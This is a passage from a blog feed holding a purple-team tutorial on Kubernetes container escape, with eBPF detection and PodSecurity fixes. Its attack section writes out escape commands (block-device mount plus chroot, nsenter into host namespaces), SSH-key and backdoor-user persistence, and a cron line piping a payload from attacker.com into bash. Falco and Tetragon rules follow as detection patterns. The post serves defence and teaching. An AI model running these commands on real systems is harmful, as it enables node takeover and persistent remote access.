href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&#038;title=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" data-a2a-url="https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/" data-a2a-title="Supply Chain Attacks: From SolarWinds to XZ Utils — Detection and Defense"></a></p><p>The post <a href="https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/">Supply Chain Attacks: From SolarWinds to XZ Utils — Detection and Defense</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1867</post-id>	</item>
		<item>
		<title>Kubernetes Container Escape: Attack Paths and eBPF Detection</title>
		<link>https://linuxcent.com/kubernetes-container-escape-attack-paths/</link>
					<comments>https://linuxcent.com/kubernetes-container-escape-attack-paths/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 26 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Container Escape]]></category>
		<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[Runtime Security]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1864</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 17</span> <span class="rt-label rt-postfix">minutes</span></span>Kubernetes container escape via --privileged or runc CVEs: two commands from container to node root. Attack path anatomy, eBPF detection, and the structural fixes that close each path.</p>
<p>The post <a href="https://linuxcent.com/kubernetes-container-escape-attack-paths/">Kubernetes Container Escape: Attack Paths and eBPF Detection</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 17</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-imds-capital-one/">SSRF to cloud metadata</a> → <strong>Kubernetes Container Escape</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Kubernetes container escape</strong> is OWASP A04 + A05: a container deployed with <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, or <code class="" data-line="">hostNetwork</code> is not meaningfully isolated from the host — two commands can produce a root shell on the node</li>
<li>The kernel does not enforce Kubernetes namespace semantics. Container isolation comes from Linux namespaces, cgroups, and seccomp. <code class="" data-line="">--privileged</code> removes those boundaries — the kernel sees no difference between the container and the host</li>
<li>Three primary escape paths: privileged container with host device access, <code class="" data-line="">hostPID</code> + <code class="" data-line="">nsenter</code>, and runc CVEs (CVE-2019-5736) that allow a malicious container to overwrite the runc binary during exec</li>
<li>Detection requires kernel-level visibility: Falco fires on privilege container exec; Tetragon traces <code class="" data-line="">nsenter</code> and <code class="" data-line="">mount</code> syscalls at the point of the kernel hook, not a process name check that can be evaded</li>
<li>The structural fix is PodSecurity admission enforcing the Restricted profile at the namespace level — policy that blocks <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, and mounts before a pod ever schedules</li>
<li>Network policy as a secondary layer: even if a container escapes to the node, a network policy that blocks the escaped process from reaching the Kubernetes API server limits lateral movement to the cluster control plane</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A04 Insecure Design — <code class="" data-line="">--privileged</code> placed in production workloads because the development environment never enforced boundaries. A05 Security Misconfiguration — absence of PodSecurity admission, RuntimeClass, and seccomp profiles.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────────┐
│              KUBERNETES CONTAINER ESCAPE — ATTACK SURFACE               │
│                                                                         │
│  ┌──────────────────────────────────────────────────────────────┐       │
│  │                     KUBERNETES NODE                          │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (--privileged)                             │   │       │
│  │  │                                                       │   │       │
│  │  │  web app ──&#x25b6; exploit ──&#x25b6; shell in container          │   │       │
│  │  │                           │                           │   │       │
│  │  │  PATH 1: mount /dev/sda1  │                           │   │       │
│  │  │  ──────────────────────── ▼                           │   │       │
│  │  │  chroot /mnt/host → root shell on node                │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (hostPID=true)                             │   │       │
│  │  │                                                       │   │       │
│  │  │  PATH 2: nsenter -t 1 -m -u -i -n -p -- bash         │   │       │
│  │  │  ─────────────────────────────────────────────────&#x25b6;   │   │       │
│  │  │           root shell in host PID 1 namespaces         │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (runc CVE)                                 │   │       │
│  │  │                                                       │   │       │
│  │  │  PATH 3: overwrite /proc/self/exe during runc exec    │   │       │
│  │  │  ─────────────────────────────────────────────────&#x25b6;   │   │       │
│  │  │           arbitrary code execution as root on node    │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  Node root → kubectl access → cluster-admin via node creds  │       │
│  └──────────────────────────────────────────────────────────────┘       │
│                                                                         │
│  DETECTION LAYER        │  STRUCTURAL FIX                               │
│  Falco / Tetragon       │  PodSecurity Restricted                       │
│  mount syscall hooks    │  RuntimeClass (gVisor/Kata)                   │
│  audit logs             │  Seccomp + no-new-privileges                  │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Kubernetes container escape</strong> is the point where a compromised application pod becomes a compromised Kubernetes node — and from a node, an attacker reaches the kubelet credential, the node&#8217;s service account, and often a path to cluster-admin. The boundary between container and host is not the Kubernetes API. It is Linux namespaces, cgroups, and seccomp. When you remove those with <code class="" data-line="">--privileged</code>, you remove the boundary.</p>
<hr />
<h2 id="the-incident-privileged-just-for-debugging">The Incident: &#8211;privileged &#8220;Just for Debugging&#8221;</h2>
<p>A networking issue in staging. The developer can&#8217;t get the CNI tracing they need from inside the normal container. Someone adds <code class="" data-line="">--privileged: true</code> to the pod spec to expose <code class="" data-line="">/sys/class/net</code> and the raw packet socket. The PR merges. The staging deployment works. The <code class="" data-line="">--privileged</code> flag stays in the manifest when staging gets promoted to production.</p>
<p>Six months later, the web application running in that pod has an RCE vulnerability. The attacker gets a shell.</p>
<p>Inside the container, two commands:</p>
<pre><code class="" data-line="">mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
</code></pre>
<p>Root on the node. Not escalation through a kernel exploit. Not a zero-day. Just mounting the device that was always accessible because <code class="" data-line="">--privileged</code> was set.</p>
<p>The node has a kubelet credential and a service account token with broader permissions than the compromised application ever needed. From the node, lateral movement into the cluster control plane is a matter of using credentials that are already there.</p>
<p>This is A04 (Insecure Design) and A05 (Security Misconfiguration) combined: the design didn&#8217;t account for what happens when the boundary is removed, and no enforcement mechanism prevented the configuration from reaching production.</p>
<hr />
<h2 id="why-the-kernel-doesnt-know-about-kubernetes">Why the Kernel Doesn&#8217;t Know About Kubernetes</h2>
<p>Kubernetes namespaces are a scheduler and API concept. When you create a Kubernetes namespace and apply RBAC to it, you are controlling what the Kubernetes API server will accept — you are not creating a kernel isolation boundary between workloads in different namespaces.</p>
<p>Kernel isolation comes from:</p>
<pre><code class="" data-line="">Linux namespaces (PID, net, mount, IPC, UTS, user)
  ├── Created by container runtime (containerd, crio)
  ├── Container processes run inside these namespaces
  └── From inside: host PIDs, host network, host filesystem are not visible

cgroups
  ├── Limit CPU, memory, and device access per container
  └── Prevent runaway resource consumption and limit device access scope

seccomp profiles
  ├── Filter system calls the container is allowed to invoke
  └── Block ptrace, mount, CAP_SYS_ADMIN and other privileged syscalls

Capabilities
  ├── Fine-grained kernel privileges (CAP_NET_ADMIN, CAP_SYS_ADMIN, etc.)
  └── --privileged grants ALL capabilities + disables seccomp + disables AppArmor
</code></pre>
<p><code class="" data-line="">--privileged</code> removes all three layers simultaneously. It grants every capability, disables the default seccomp filter, and disables AppArmor confinement. A privileged container is effectively a process running on the host with a different filesystem view — and with <code class="" data-line="">mount</code>, you can fix even the filesystem view.</p>
<hr />
<h2 id="red-phase-the-three-escape-paths">Red Phase: The Three Escape Paths</h2>
<h3 id="path-1-privileged-container">Path 1: &#8211;privileged Container</h3>
<p>A privileged container has <code class="" data-line="">CAP_SYS_ADMIN</code>, which includes the ability to mount arbitrary block devices. On a node with a standard Linux filesystem, <code class="" data-line="">/dev/sda1</code> or equivalent contains the host root filesystem.</p>
<p><strong>Check if the current container is privileged:</strong></p>
<pre><code class="" data-line=""># CapEff shows the effective capability set as a hex bitmask
cat /proc/1/status | grep CapEff
# CapEff: 0000003fffffffff

# Decode it
capsh --decode=0000003fffffffff | grep -o &#039;cap_sys_admin&#039;
# cap_sys_admin — present means privileged
</code></pre>
<p><strong>Full escape sequence:</strong></p>
<pre><code class="" data-line=""># Step 1: Identify the host block device
# /proc/mounts shows what the container runtime mounted
cat /proc/mounts | grep &#039; / &#039;
# overlay on / type overlay (rw,...,upperdir=/var/lib/containerd/...)

# Or: check fdisk/lsblk — visible in privileged container
lsblk
# NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
# sda      8:0    0   80G  0 disk
# ├─sda1   8:1    0   79G  0 part /
# └─sda2   8:2    0    1G  0 part [SWAP]

# Step 2: Mount host root filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Step 3a: Write attacker SSH key to host authorized_keys
echo &quot;ssh-rsa AAAA...&quot; &gt;&gt; /mnt/host/root/.ssh/authorized_keys

# Step 3b: Or take an immediate root shell via chroot
chroot /mnt/host /bin/bash
# Now running as root in the host filesystem
# id: uid=0(root) gid=0(root)

# Step 4: From host root — access kubelet credentials
cat /etc/kubernetes/pki/ca.crt
# Or pull the node&#039;s bootstrap token / client cert for API server access
ls /var/lib/kubelet/pki/
</code></pre>
<p><strong>What persistence looks like from node root:</strong></p>
<pre><code class="" data-line=""># Add a backdoor user to host /etc/passwd
chroot /mnt/host useradd -m -s /bin/bash -G sudo backdoor
chroot /mnt/host passwd backdoor

# Or: schedule a cron job on the host
echo &quot;* * * * * root curl http://attacker.com/c2 | bash&quot; \
  &gt;&gt; /mnt/host/etc/cron.d/maintenance
</code></pre>
<h3 id="path-2-hostpid-hostnetwork-escape">Path 2: hostPID / hostNetwork Escape</h3>
<p><code class="" data-line="">hostPID: true</code> is a less obvious escape path than <code class="" data-line="">--privileged</code> but equally dangerous. When a container shares the host PID namespace, it can see and interact with every process running on the node — including PID 1, which is running in the host&#8217;s full namespace set.</p>
<p><strong>With hostPID enabled, nsenter produces a host root shell without mounting anything:</strong></p>
<pre><code class="" data-line=""># From inside the container — see all host processes
ps aux
# This will show containerd, kubelet, systemd, sshd — everything on the node

# nsenter: enter the namespaces of PID 1 (host init process)
# -t 1: target PID 1
# -m: enter mount namespace (host filesystem)
# -u: enter UTS namespace (host hostname)
# -i: enter IPC namespace
# -n: enter network namespace
# -p: enter PID namespace
nsenter -t 1 -m -u -i -n -p -- bash

# Now running in host namespaces
hostname   # shows node hostname, not container hostname
mount | grep &quot; / &quot;  # shows host root mount, not container overlay
id         # uid=0(root) gid=0(root)
</code></pre>
<blockquote>
<p><strong>nsenter</strong> — a Linux utility that enters the namespaces of an existing process. With <code class="" data-line="">-t 1</code> it enters PID 1&#8217;s namespaces, which are the host&#8217;s namespaces. The result is a shell that sees the host filesystem, host network, and host process tree as if running directly on the node.</p>
</blockquote>
<p><code class="" data-line="">hostNetwork: true</code> on its own does not directly produce a root shell, but it exposes the node&#8217;s network interfaces and allows binding to host ports. Combined with access to the cloud provider&#8217;s instance metadata service (IMDS), it enables credential theft from the node&#8217;s IAM role — the attack path covered in <a href="/ssrf-cloud-metadata-imds-capital-one/">SSRF to cloud metadata and IMDSv1 exploitation</a>.</p>
<h3 id="path-3-runc-cve-escape-cve-2019-5736">Path 3: runc CVE Escape (CVE-2019-5736)</h3>
<p>CVE-2019-5736 is a different attack class — it does not require a misconfiguration in the pod spec. It exploits a race condition in the runc container runtime itself.</p>
<p>The mechanism:</p>
<pre><code class="" data-line="">1. Attacker controls a container image
2. Image&#039;s entrypoint is a symlink: /proc/self/exe → /runc (or similar path)
3. Operator runs: kubectl exec -it &lt;pod&gt; -- /bin/bash
4. runc reads /proc/self/exe to find its own binary path during exec
5. Attacker&#039;s process in container has a brief window to overwrite /proc/self/exe
6. Race condition: attacker overwrites the runc binary on the host with malicious binary
7. On next runc exec, malicious binary runs as root on the host
</code></pre>
<p>The detection signature for runc-class escapes is writes to <code class="" data-line="">/proc/self/exe</code> or writes to paths that correspond to runc&#8217;s host binary location from within a container process:</p>
<pre><code class="" data-line=""># Simplified bpftrace detection of /proc/self/exe writes (safe to run as read):
# This shows the pattern — Tetragon implements this as a continuous policy

bpftrace -e &#039;
tracepoint:syscalls:sys_enter_write {
  // Track write() calls where the fd points to /proc/self/exe
  // In production: Tetragon handles this at the LSM hook level
  printf(&quot;PID %d comm %s writing fd %d\n&quot;, pid, comm, args-&gt;fd);
}
&#039; 2&gt;/dev/null | head -20
</code></pre>
<p>Patched versions of runc (1.0.0-rc7+, containerd 1.2.3+) fix the race condition. The practical implication: <strong>node patching is the only fix for runc-class CVEs</strong> — pod security policy cannot prevent a vulnerability in the container runtime itself.</p>
<h3 id="safe-simulation-audit-your-cluster-before-an-attacker-does">Safe Simulation: Audit Your Cluster Before an Attacker Does</h3>
<p>These commands are read-only and safe to run against any cluster you have kubectl access to:</p>
<pre><code class="" data-line=""># Find all pods running with --privileged
kubectl get pods -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.containers[].securityContext.privileged == true) |
    [.metadata.namespace, .metadata.name, 
     (.spec.containers[] | select(.securityContext.privileged == true) | .name)] |
    join(&quot; / &quot;)&#039; | \
  sort -u

# Find pods with hostPID or hostNetwork
kubectl get pods -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.hostPID == true or .spec.hostNetwork == true) |
    [.metadata.namespace, .metadata.name,
     (if .spec.hostPID then &quot;hostPID&quot; else &quot;&quot; end),
     (if .spec.hostNetwork then &quot;hostNetwork&quot; else &quot;&quot; end)] |
    join(&quot; / &quot;)&#039; | \
  grep -v &quot;/$&quot; | \
  sort -u

# Check for pods using hostPath mounts (host filesystem access via volume)
kubectl get pods -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.volumes[]?.hostPath != null) |
    [.metadata.namespace, .metadata.name,
     (.spec.volumes[] | select(.hostPath != null) |
      .name + &quot;→&quot; + .hostPath.path)] |
    join(&quot; / &quot;)&#039; | \
  sort -u

# Check DaemonSets — these often run privileged and cover every node
kubectl get daemonsets -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.template.spec.containers[].securityContext.privileged == true) |
    [.metadata.namespace, .metadata.name] | join(&quot;/&quot;)&#039; | \
  sort -u
</code></pre>
<hr />
<h2 id="blue-phase-ebpf-detection">Blue Phase: eBPF Detection</h2>
<p>Detecting container escape attempts requires visibility below the Kubernetes API layer. Audit logs show pod creation — they do not show what a process inside the container does with <code class="" data-line="">mount</code>, <code class="" data-line="">nsenter</code>, or <code class="" data-line="">/proc/self/exe</code>. eBPF-based tools (Falco, Tetragon) attach to kernel hooks and observe syscalls regardless of what namespace or container they originate from.</p>
<h3 id="falco-privileged-container-and-mount-detection">Falco: Privileged Container and Mount Detection</h3>
<pre><code class="" data-line=""># Falco rules for container escape detection
# /etc/falco/rules.d/container-escape.yaml

# Rule 1: Privileged container started
- rule: Privileged Container Started
  desc: &gt;
    A container running with --privileged was started.
    This removes all capability and seccomp restrictions.
  condition: &gt;
    container.privileged = true and
    evt.type = execve and
    container.id != host
  output: &gt;
    Privileged container started
    (user=%user.name user_uid=%user.uid
     command=%proc.cmdline
     container_id=%container.id
     container_name=%container.name
     image=%container.image.repository:%container.image.tag
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: WARNING
  tags: [container, privilege-escalation, OWASP-A05]

# Rule 2: Mount syscall from inside a container
- rule: Container Mount Syscall
  desc: &gt;
    A process inside a container invoked mount().
    In a non-privileged container this fails; in a privileged container
    it succeeds and may be mounting host block devices.
  condition: &gt;
    evt.type = mount and
    container.id != host and
    not proc.name in (container_runtime_processes)
  output: &gt;
    Mount syscall from container
    (user=%user.name
     command=%proc.cmdline
     mount_source=%evt.arg.source
     mount_target=%evt.arg.target
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: ERROR
  tags: [container, privilege-escalation, OWASP-A04]

# Rule 3: nsenter or chroot invoked inside container
- rule: Namespace Enter or Chroot in Container
  desc: &gt;
    nsenter or chroot executed from within a running container.
    nsenter with -t 1 enters host namespaces directly.
  condition: &gt;
    evt.type = execve and
    container.id != host and
    proc.name in (nsenter, chroot)
  output: &gt;
    nsenter/chroot executed in container
    (user=%user.name
     command=%proc.cmdline
     parent=%proc.pname
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: ERROR
  tags: [container, privilege-escalation, T1611]

# Rule 4: Process reading host PID tree (hostPID indicator)
- rule: Container Reading Host Process List
  desc: &gt;
    A process inside a container is reading /proc entries for PIDs
    that don&#039;t belong to it — indicates hostPID=true and enumeration.
  condition: &gt;
    evt.type = openat and
    fd.name startswith /proc/ and
    fd.name endswith /status and
    container.id != host and
    not fd.name startswith /proc/self
  output: &gt;
    Container reading host process status
    (proc=%proc.cmdline fd=%fd.name
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: WARNING
  tags: [container, discovery, T1057]
</code></pre>
<h3 id="tetragon-tracingpolicy-for-nsenter-and-mount-syscalls">Tetragon: TracingPolicy for nsenter and Mount Syscalls</h3>
<p>Tetragon attaches eBPF programs at LSM (Linux Security Module) hooks and kernel function entry/exit points. Unlike Falco which uses a single tracepoint aggregation model, Tetragon can enforce at the kernel level — it can block a syscall before it completes, not just alert after the fact.</p>
<pre><code class="" data-line=""># Tetragon TracingPolicy: detect and optionally block container escape attempts
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: container-escape-detection
  namespace: kube-system
spec:
  kprobes:
    # Hook 1: sys_mount — detect any mount() call from a container process
    - call: &quot;sys_mount&quot;
      return: false
      syscall: true
      args:
        - index: 0
          type: &quot;string&quot;     # source device (e.g. /dev/sda1)
        - index: 1
          type: &quot;string&quot;     # target mount point
        - index: 2
          type: &quot;string&quot;     # filesystem type
      selectors:
        # Only fire for container processes (not the container runtime itself)
        - matchNamespaces:
          - namespace: Pid
            operator: NotIn
            values:
              - &quot;host_pid_ns&quot;   # Replace with actual host PID NS value
          matchActions:
          - action: Post        # Post = log; change to Sigkill to enforce

    # Hook 2: __x64_sys_execve for nsenter binary
    - call: &quot;__x64_sys_execve&quot;
      return: false
      syscall: true
      args:
        - index: 0
          type: &quot;string&quot;     # filename being executed
      selectors:
        - matchArgs:
          - index: 0
            operator: Postfix
            values:
              - &quot;/nsenter&quot;
          matchActions:
          - action: Post

  # Hook 3: write to /proc/self/exe — runc CVE class indicator
  kprobes:
    - call: &quot;vfs_write&quot;
      return: false
      syscall: false
      args:
        - index: 0
          type: &quot;file&quot;
      selectors:
        - matchArgs:
          - index: 0
            operator: Postfix
            values:
              - &quot;/proc/self/exe&quot;
          matchActions:
          - action: Sigkill   # Block immediately — no legitimate use case for this write
</code></pre>
<h3 id="bpftrace-quick-node-level-validation">bpftrace: Quick Node-Level Validation</h3>
<p>Before deploying Tetragon, you can validate that mount syscalls are observable from the host using bpftrace directly on a node:</p>
<pre><code class="" data-line=""># Run on the Kubernetes node (requires root or CAP_BPF)
# Safe observation mode — shows mount attempts from any process including containers

bpftrace -e &#039;
tracepoint:syscalls:sys_enter_mount {
  printf(&quot;%-8d %-20s %-30s -&gt; %-30s type=%s\n&quot;,
    pid, comm,
    str(args-&gt;dev_name),   // source device
    str(args-&gt;dir_name),   // mount target
    str(args-&gt;type));      // filesystem type
}
&#039; 2&gt;/dev/null
# Sample output:
# PID      COMM                 SOURCE                         TARGET                         TYPE
# 38471    bash                 /dev/sda1                      /mnt/host                      ext4
# 38471 and comm=bash from inside a container = escape attempt in progress
</code></pre>
<pre><code class="" data-line=""># Watch for nsenter executions across all processes on the node
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
  if (str(args-&gt;filename) == &quot;/usr/bin/nsenter&quot; ||
      str(args-&gt;filename) == &quot;/bin/nsenter&quot;) {
    printf(&quot;nsenter called: pid=%d ppid=%d comm=%s\n&quot;,
      pid, curtask-&gt;real_parent-&gt;pid, comm);
  }
}
&#039; 2&gt;/dev/null
</code></pre>
<h3 id="what-kubernetes-audit-logs-show-and-what-they-miss">What Kubernetes Audit Logs Show (and What They Miss)</h3>
<p>Kubernetes audit logs record API server activity. They show pod creation with <code class="" data-line="">--privileged</code> set — but only if you are watching pod spec creation events. They do not show anything that happens inside the container after it starts.</p>
<pre><code class="" data-line=""># Enable audit policy to capture pod creation with privileged spec
# /etc/kubernetes/audit-policy.yaml (excerpt)

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  # Log pod creation at RequestResponse level (captures full spec)
  - level: RequestResponse
    resources:
      - group: &quot;&quot;
        resources: [&quot;pods&quot;]
    verbs: [&quot;create&quot;, &quot;update&quot;, &quot;patch&quot;]

  # Log exec into pods — this is the entry point for escape attempts
  - level: RequestResponse
    resources:
      - group: &quot;&quot;
        resources: [&quot;pods/exec&quot;]
    verbs: [&quot;create&quot;]
</code></pre>
<pre><code class="" data-line=""># Parse audit log for privileged pod creation
grep &#039;&quot;privileged&quot;:true&#039; /var/log/kubernetes/audit.log | \
  jq -r &#039;[
    .requestReceivedTimestamp,
    .user.username,
    .objectRef.namespace + &quot;/&quot; + .objectRef.name,
    &quot;privileged=true&quot;
  ] | join(&quot; | &quot;)&#039;

# Or via kubectl (if audit log backend is configured)
kubectl get events -A --field-selector reason=Created \
  -o json | \
  jq -r &#039;.items[] |
    select(.message | contains(&quot;privileged&quot;)) |
    [.metadata.namespace, .involvedObject.name, .message] |
    join(&quot; / &quot;)&#039;
</code></pre>
<p>The audit log gap is important to understand: <strong>audit logs are a first-alert layer for misconfigured pod creation, not a detection layer for in-progress escape</strong>. By the time you see a pod/exec event in audit logs, the attacker already has a shell. eBPF-based detection at the syscall level is what catches the escape itself.</p>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="fix-1-podsecurity-admission-enforce-restricted-profile">Fix 1: PodSecurity Admission — Enforce Restricted Profile</h3>
<p>PodSecurity admission (built into Kubernetes 1.25+, replacing PodSecurityPolicy) enforces security profiles at the namespace level. The Restricted profile blocks <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, <code class="" data-line="">hostPath</code> volumes, and requires dropping all capabilities.</p>
<pre><code class="" data-line=""># Enforce the Restricted PodSecurity profile on a namespace
# This blocks any pod that doesn&#039;t meet the criteria from scheduling
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    # enforce: pod is rejected at admission if spec violates Restricted
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
    # audit: violations are logged but not rejected (useful for rollout)
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/audit-version: latest
    # warn: user gets a warning but pod is allowed (for migration)
    pod-security.kubernetes.io/warn: restricted
    pod-security.kubernetes.io/warn-version: latest
</code></pre>
<p>What Restricted profile blocks (relevant to escape paths):</p>
<pre><code class="" data-line=""># These settings are REQUIRED by Restricted — apply them explicitly
# to avoid the admission webhook rejecting your workloads

securityContext:
  # Pod-level
  runAsNonRoot: true
  seccompProfile:
    type: RuntimeDefault    # or Localhost with a custom profile

containers:
  - securityContext:
      allowPrivilegeEscalation: false
      privileged: false          # blocks Path 1
      capabilities:
        drop: [&quot;ALL&quot;]            # no CAP_SYS_ADMIN, no CAP_NET_ADMIN
        add: []                  # add only what is specifically required
      readOnlyRootFilesystem: true  # reduces attacker persistence options

# Pod spec — blocked by Restricted
spec:
  hostPID: false           # must be false (blocks Path 2)
  hostNetwork: false       # must be false
  hostIPC: false           # must be false
  volumes:                 # hostPath volumes blocked
    - name: app-data
      emptyDir: {}         # emptyDir, configMap, secret allowed; hostPath not
</code></pre>
<p><strong>Rollout approach for existing clusters:</strong></p>
<p>Start with <code class="" data-line="">warn</code> mode on all namespaces, identify violations, remediate, then promote to <code class="" data-line="">enforce</code>:</p>
<pre><code class="" data-line=""># Label all non-system namespaces with warn mode first
kubectl get namespaces -o json | \
  jq -r &#039;.items[] |
    select(.metadata.name | test(&quot;^(kube-system|kube-public|kube-node-lease)$&quot;) | not) |
    .metadata.name&#039; | \
  while read ns; do
    kubectl label namespace &quot;$ns&quot; \
      pod-security.kubernetes.io/warn=restricted \
      pod-security.kubernetes.io/warn-version=latest \
      --overwrite
    echo &quot;Labeled $ns&quot;
  done

# After a deployment cycle, check for warnings in admission logs
# Look for pods that would be rejected under enforce mode
kubectl get events -A --field-selector reason=FailedCreate \
